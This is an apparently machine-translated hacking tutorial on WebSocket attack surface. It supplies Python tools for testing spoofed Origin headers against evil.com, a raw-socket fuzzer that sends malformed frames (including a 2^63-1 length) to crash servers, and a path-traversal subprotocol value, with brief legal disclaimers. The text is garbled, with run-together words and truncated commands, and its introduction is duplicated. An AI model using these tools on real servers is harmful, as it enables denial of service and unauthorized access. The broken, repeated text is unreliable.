Today on the table is WebSocket.Not the picture that is drawn on the hackathons, but its throbbinginside out: the configurations that are cut into the living, andquiet, almost invisible exploitation.
WS Underworld: When a LiveChannel Becomes Your Back Door
Whydo we need this?
Everyone has heard about WebSocket(hereinafter WS). "Biorrowed", "living","real-time". With these phrases, managers and juniorarchitects rush to the left and to the right. The web turns from apile of queries-responses into something alive. Shoppers, tradingpanels, online games, collaborative editors - beauty.
Butthe hacker’s view sees otherwise. He sees not a channel for thefeatures, but New Surface of the Attack. Huge, often forgotten,poorly protected. Why? Because WS breaks the old, familiar HTTPmodel. The entire WAF’s (Web Application Firewall), which haslearned to catch SQLi, XSS, and so on in the GET/POST parameters,often blinds, looking at the flow of binary or text data pouring onthe same compound. Because the developers, introducing ws://or w://,consider the work done. Because in the documentation for theframeworks, the section “security” about WS is often placedsomewhere between “gratitudes” and “license”.
Let'sdig.
The basis. Not TCP orHTTP - but your own swamp
Beforebreaking, you need to understand how it works. Not at the level of“handshake and then data”, but deeper.
1. Handshake- entry point
Classics. Client sends HTTP Upgrade request.
Theserver answers:
Here,in this almost HTTP exchange, already lies First layer ofvulnerabilities. Everything that relates to poor HTTP headerprocessing is applicable here. But there is also specificity.
Practicaltool No1: ws-harness (our self-sample)
We will not rely onabstract curl queries. Let's sketch the simplest, but flexible toolfor short-shoot testing. Python with library websockets- it's our choice.
Start
ythonws_harness.py ws://vulnerable-chat.local:8080/ws --originhttрs://evil.com/
See
oes the server accept a connection with the left Origin? If yes, thefirst flag in our piggy bank. This is a potential vulnerability toWebSocket Origin Hijacking (This is below).
2. After thehandshake: frames, not streams
It is important to moveaway from HTTP thinking. The data goes with frames. The frame has atype: text (0x1),binary (0x2),closure (0x8),ping (0x9),pong (0xA)etc. The server must be able to parse them. Parsers are complexthings. What is difficult can be broken.
Vulnerability
arsing frames and DoS. Imagine a frame with the declared length 2^63- 1 byte (maximum value for 64-bit). A naive parser can reserve amemory and fall under it. Or a frame with a mask (client framesshould be masked), where the mask is garbage, and the parser goesinto an endless cycle. It’s low level, but it’s real. More commonin custom, self-written servers in C++ or Rust.
Practicaltool No2: ws_fuzzer
We take a library that allows you to collectraw frames. For example, wsprotoor python-socket.Our goal is not just to send data, but to send Incorrect frame.
Importantwarning: This Testing Tool is intended for use on your own servers inan isolated environment. Sending such frames to someone else’sinfrastructure without explicit permission is a crime. We are talkingabout research, not vandalism.
3.Subprotocols
TheSec-WebSocket-Protocol field in the handshake. Designed to agree onthe data format (e.g., SOAP, WAMP, GraphQL-WS). The server mustselect one of the proposed options or refuse. Typical Error: Theserver accepts the first subprotocol from the client’s list withoutchecking or, worse, executes logic based on the subprotocol.
Attack:The client sends a list: Sec-WebSocket-Protocol:secret-admin-protocol, chat. If the server is naive and simplyaccepts the first one it recognizes, it will choose “chat.” Butif there is a conditional branch in its code:
JavaScript:
if(chosenProtocol === ‘secret-admin-protocol’) {
enableAdminMode(ws);
}
Andthe server checks the subprotocol After handshakes, and a curvecheck... You can try to implement something. Or just to cause amistake leading to the disclosure.
Test our ws-harness
ythonws_harness.py wss://target/ws --subproto "..\..\bin\bash""chat"
WS Underworld: When a LiveChannel Becomes Your Back Door
Whydo we need this?
Everyone has heard about WebSocket(hereinafter WS). "Biorrowed", "living","real-time". With these phrases, managers and juniorarchitects rush to the left and to the right. The web turns from apile of queries-responses into something alive. Shoppers, tradingpanels, online games, collaborative editors - beauty.
Butthe hacker’s view sees otherwise. He sees not a channel for thefeatures, but New Surface of the Attack. Huge, often forgotten,poorly protected. Why? Because WS breaks the old, familiar HTTPmodel. The entire WAF’s (Web Application Firewall), which haslearned to catch SQLi, XSS, and so on in the GET/POST parameters,often blinds, looking at the flow of binary or text data pouring onthe same compound. Because the developers, introducing ws://or w://,consider the work done. Because in the documentation for theframeworks, the section “security” about WS is often placedsomewhere between “gratitudes” and “license”.
Let'sdig.
The basis. Not TCP orHTTP - but your own swamp
Beforebreaking, you need to understand how it works. Not at the level of“handshake and then data”, but deeper.
1. Handshake- entry point
Classics. Client sends HTTP Upgrade request.
GET/chat HTTP/1.1
Host:server.example.com
Upgrade:websocket
Connection:Upgrade
Sec-WebSocket-Key:dGhlIHNhbXBsZSBub25jZQ==
Origin:https://example.com
Sec-WebSocket-Version:13
Theserver answers:
HTTP/1.1101 Switching Protocols
Upgrade:websocket
Connection:Upgrade
Sec-WebSocket-Accept:s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
Here,in this almost HTTP exchange, already lies First layer ofvulnerabilities. Everything that relates to poor HTTP headerprocessing is applicable here. But there is also specificity.
- Sec-WebSocket-Key and Sec-WebSocket-Accept: Proxy Cashing Mechanism. Not authentication. Never before. A lot of people think it's like a token. No. It's a deterministic transform. You can check its correctness, but this is protection not from an intruder, but from ancient proxies.
- Origin: Here it is the key title. The basis of the Same-Origin policy for WS. But it may not be. In the native JS browser, it is added automatically. What if the client is not a browser? Kastomic client in Python, C, Go? He can send any Origin, or he may not send it at all. It all depends on the server.
Practicaltool No1: ws-harness (our self-sample)
We will not rely onabstract curl queries. Let's sketch the simplest, but flexible toolfor short-shoot testing. Python with library websockets- it's our choice.
importasyncio
importwebsockets
importssl
importargparse
fromurllib.parse import urlparse
asyncdef test_handshake(url, origin=None, subprotocols=[], headers={}):
“”"
Customhandshake. Playing with headers.
“”"
parsed= urlparse(url)
use_ssl= parsed.scheme == 'wss'
#Custom headers
extra_headers= []
iforigin:
extra_headers.append((‘Origin’,origin))
ifsubprotocols:
extra_headers.append((‘Sec-WebSocket-Protocol’,‘, ’.join(subprotocols)))
fork, v in headers.items():
extra_headers.append((k,v))
try:
asyncwith websockets.connect(
url,
ssl=use_ssl,
extra_headers=extra_headers,
#Very important parameter! Indicates how the server handles garbage.
subprotocols=subprotocolsif subprotocols else None,
timeout=10
)as ws:
print(f“[+]Connection successful!”)
print(f“Selected subprotocol: {ws.subprotocol}”)
#You can send a test frame right away
awaitws.send(“ping”)
resp= await asyncio.wait_for(ws.recv(), timeout=2)
print(f“Response to ‘ping’: {resp}”)
awaitws.close()
exceptException as e:
print(f“[-]Connection error: {e}”)
if__name__ == “__main__”:
parser= argparse.ArgumentParser(description=‘WS Handshake Tester’)
parser.add_argument(‘url’,help=‘WS/WSS URL (e.g., ws://target:8080/chat)’)
parser.add_argument(‘--origin’,help=‘Spoof Origin header’)
parser.add_argument(‘--subproto’,nargs=‘+’, help=‘List of subprotocols to request’)
parser.add_argument(‘--header’,action=‘append’, help=‘Custom header (format: Key:Value)’)
args= parser.parse_args()
custom_headers= {}
ifargs.header:
forh in args.header:
k,v = h.split(‘:’, 1)
custom_headers[k.strip()]= v.strip()
asyncio.run(test_handshake(args.url,args.origin, args.subproto or [], custom_headers))
Start
See
2. After thehandshake: frames, not streams
It is important to moveaway from HTTP thinking. The data goes with frames. The frame has atype: text (0x1),binary (0x2),closure (0x8),ping (0x9),pong (0xA)etc. The server must be able to parse them. Parsers are complexthings. What is difficult can be broken.
Vulnerability
Practicaltool No2: ws_fuzzer
We take a library that allows you to collectraw frames. For example, wsprotoor python-socket.Our goal is not just to send data, but to send Incorrect frame.
importsocket
importssl
importstruct
importtime
defcreate_malformed_frame(opcode=0x1, payload=b“”, masked=False,mask_key=None, fin=True, length_override=None):
“”"
Weassemble the frame manually. We can break the specification.
“”"
frame= bytearray()
#FIN, RSV1-3, Opcode
first_byte= (0b10000000 if fin else 0) | (opcode & 0b00001111)
frame.append(first_byte)
#Mask bit and length
payload_len= len(payload)
iflength_override is not None:
payload_len= length_override
ifpayload_len <= 125:
second_byte= payload_len
ifmasked:
second_byte|= 0b10000000
frame.append(second_byte)
len_bytes= None
elifpayload_len <= 65535:
second_byte= 126 | (0b10000000 if masked else 0)
frame.append(second_byte)
len_bytes= struct.pack(‘!H’, payload_len)
frame.extend(len_bytes)
else:
second_byte= 127 | (0b10000000 if masked else 0)
frame.append(second_byte)
len_bytes= struct.pack(‘!Q’, payload_len)
frame.extend(len_bytes)
#Mask
ifmasked:
ifmask_key is None:
mask_key= struct.pack(‘!I’, 0xDEADBEEF) # Arbitrary mask
frame.extend(mask_key)
#Apply the mask to the payload (if it exists and we haven't overriddenthe length)
ifpayload and length_override is None:
masked_payload= bytearray(payload)
fori in range(len(masked_payload)):
masked_payload^= mask_key[i % 4]
payload= masked_payload
ifpayload and length_override is None:
frame.extend(payload)
eliflength_override and length_override > 0:
#If the length has been overridden, add padding or nothing
frame.extend(b'X'* min(1000, length_override)) # To avoid consuming all memory
returnbytes(frame)
defsend_malformed_handshake_and_frame(host, port, path=‘/’,use_ssl=False, frame=None):
“”"
First,perform a normal handshake, then send a malformed frame.
“”"
sock= socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ifuse_ssl:
context= ssl.create_default_context()
context.check_hostname= False
context.verify_mode= ssl.CERT_NONE
sock= context.wrap_socket(sock, server_hostname=host)
sock.connect((host,port))
#Standard handshake
handshake= (
f“GET{path} HTTP/1.1\r\n”
f“Host:{host}:{port}\r\n”
f“Upgrade:websocket\r\n”
f“Connection:Upgrade\r\n”
f“Sec-WebSocket-Key:dGhlIHNhbXBsZSBub25jZQ==\r\n”
f“Sec-WebSocket-Version:13\r\n”
f“\r\n”
).encode()
sock.send(handshake)
resp= sock.recv (4096)
print(f“[*]Handshake response: {resp[:200]}...”)
ifb“101 Switching Protocols” in resp:
print("[+]Handshake successful. Sending a malicious frame.")
time.sleep(0.5)
sock.send(frame)
#Waiting for a response (may not come) or a timeout
try:
sock.settimeout(3)
response= sock.recv(1024)
print(f“[*]Server response: {response}”)
exceptsocket.timeout:
print(“[!]Timeout. The server may have crashed or gone silent.”)
exceptConnectionResetError:
print(“[!]Connection terminated by the server (possibly a crash).”)
else:
print(“[-]Handshake failed.”)
sock.close()
#Examples of malicious frames:
#1. Extremely long length
frame_huge_len= create_malformed_frame(opcode=0x1, payload=b“test”,length_override=(2**63 - 1))
#2. Invalid opcode (e.g., 0x3 - reserved)
frame_bad_opcode= create_malformed_frame(opcode=0x3, payload=b“reserved”)
#3. A frame with the RSV1 flag (for extensions) that is not supported
frame_rsv= bytearray(b'\xC1\x05hello') # FIN=1, RSV1=1, Opcode=0x1 (text),mask=0, length=5
frame_rsv.extend(b'hello')
#Usage:
#send_malformed_handshake_and_frame(‘localhost’, 8080, ‘/ws’,use_ssl=False, frame=frame_huge_len)
Importantwarning: This Testing Tool is intended for use on your own servers inan isolated environment. Sending such frames to someone else’sinfrastructure without explicit permission is a crime. We are talkingabout research, not vandalism.
3.Subprotocols
TheSec-WebSocket-Protocol field in the handshake. Designed to agree onthe data format (e.g., SOAP, WAMP, GraphQL-WS). The server mustselect one of the proposed options or refuse. Typical Error: Theserver accepts the first subprotocol from the client’s list withoutchecking or, worse, executes logic based on the subprotocol.
Attack:The client sends a list: Sec-WebSocket-Protocol:secret-admin-protocol, chat. If the server is naive and simplyaccepts the first one it recognizes, it will choose “chat.” Butif there is a conditional branch in its code:
JavaScript:
if(chosenProtocol === ‘secret-admin-protocol’) {
enableAdminMode(ws);
}
Andthe server checks the subprotocol After handshakes, and a curvecheck... You can try to implement something. Or just to cause amistake leading to the disclosure.
Test our ws-harness